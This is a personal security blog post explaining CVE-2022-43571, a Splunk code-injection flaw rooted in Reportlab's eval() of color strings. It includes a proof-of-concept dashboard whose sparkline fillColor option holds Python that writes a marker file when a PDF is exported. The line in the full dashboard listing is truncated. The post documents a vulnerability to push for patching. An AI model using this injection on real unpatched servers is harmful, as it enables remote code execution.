



psytester

Testing is my passion. Sharing knowledge is my contribution.

[Blog](#) [About](#)

CVE-2022-43571 Splunk RCE – my personal journey to color your life

Only because I got the statement from my IT, there are no reasons for a SPLUNK update, I analyzed this vulnerability [CVE-2022-43571](#) to prove the opposite for a remote code execution. Here is my exploit.

If I had found this vulnerability, I would like to name this „colorful sparklines“ ;-)

@SPLUNK you should not name the vulnerability nor address any details in your code. It was a fast pointer into right direction ;-)
/splunk/lib/python3.7/site-packages/splunk/pdf/pdfgen_utils.py

```
SPL-228720 - colors.toColor has an unpatched remote code execution
vulnerability, so we need to only parse certain types of color strings.
```

This is based on a known vulnerability from 2019 as [CVE-2019-17626](#)
It's located in Python Reportlab colors.py line

```
return toColor(eval(arg))
```

You know, any uncontrolled call of eval(arg) will lead to bad things.

In 2020 the unsafe call was fixed with Reportlab version 3.5.34 with a sanitizer rl_safe_eval() method

```
return toColor(rl_safe_eval(arg,g=G,l={}))
```

In SPLUNK 9.0.1 and 9.0.2 the updated Reportlab version is already in use.
A lot of code injection is not possible out of the box. I was not able to trick the sanitizer with my clumsy attempts.
But in SPLUNK 8.2.8 the vulnerability is still possible, because it's using older Reportlab version.

A mitigation was added in /opt/splunk/lib/python3.7/site-packages/splunk/pdf/pdfgen_sparkline.py in version 8.2.9 & 9.0.2 at Splunk code.

Ok, we can inject the code with a sparkline ;-)

The method supports a lineColor and fillColor, both are calling Reportlab colors.

Here I placed the code in fillColor funktion of sparkline:

```
<option name="fillColor">open('/tmp/PoC_code_injection.txt','a').write('color your life!')</option>
```

Create a SimpleXML dashboard with sparklines and save this „payload“.

In next step go to Export→Generate PDF to trigger the code injection.

```
<dashboard script="table_with_multiple_sparkline_colors.js">
  <label>Sparkline with different colors</label>
  <row>
    <panel>
      <html depends="$alwaysHideCSSStylePanel$">
        <style>
          #tableWithMultipleSparklineColors table tbody tr td[data-cell-index="0"]{
            font-size: 160% !important;
            text-align:center !important;
            color:white !important;
          }
          #tableWithMultipleSparklineColors table thead{
            visibility:hidden !important;
          }
          #statistics table tbody tr:nth-child(1) td.string,
          #statistics table tbody tr:nth-child(1) td.numeric{
            font-size: 120%;
            font-weight: bold;
          }
        </style>
      </html>
      <table id="tableWithMultipleSparklineColors">
        <search>
          <query>index=_internal
| chart sparkline(count) as sparkline count as Total by component
| sort - Total
| head 7
```

```

| reverse
| streamstats count as sno
| reverse
| append [| makeresults | fields - _time | eval sno="",sparkline="Sparkline", Total="Total"]
| reverse
| eval sno=sno-2
| eval sno=case(sno=-1,"down",
                sno=0,"0",
                sno=1,"1",
                sno=2,"2",
                sno=3,"3",
                sno=4,"4",
                sno=5,"All",
                true(),sno)
| table sno sparkline Total</query>
    <earliest>-2h@h</earliest>
    <latest>now</latest>
    <sampleRatio>1</sampleRatio>
</search>
<option name="count">20</option>
<option name="dataOverlayMode">none</option>
<option name="drilldown">none</option>
<option name="percentagesRow">>false</option>
<option name="rowNumbers">>false</option>
<option name="totalsRow">>false</option>
<option name="wrap">>true</option>
<format type="color" field="sno">
    <colorPalette type="map">{"down":#336699,
                            "0":#8C0000,
                            "1":#8B4000,
                            "2":#FC6600,
                            "3":#F9A602,
                            "4":#FFCC00,
                            "All":#000000}</colorPalette>

</format>
<format field="sparkline" type="sparkline">
    <option name="lineColor">green</option>
    <option name="fillColor">open('/tmp/PoC_code_injection.txt','a').write('color your 1
    <option name="height">20px</option>
    <option name="width">500px</option>
</format>
</table>
</panel>

```

```
</row>  
</dashboard>
```

Verify its execution by

```
cat /tmp/PoC_code_injection.txt
```

Thank you for reading. This is not my credit, this post was only to force the IT to do they job. ;-)

@Splunk: Thank you! Just because of my work on this exploit, I realized what Splunk search & dashboards can be used for. In past it was just another tool for log aggregation and trouble shooting. Now I visualize the api calls as system load.

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2022 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on December 18, 2022 | Last modified on December 22, 2022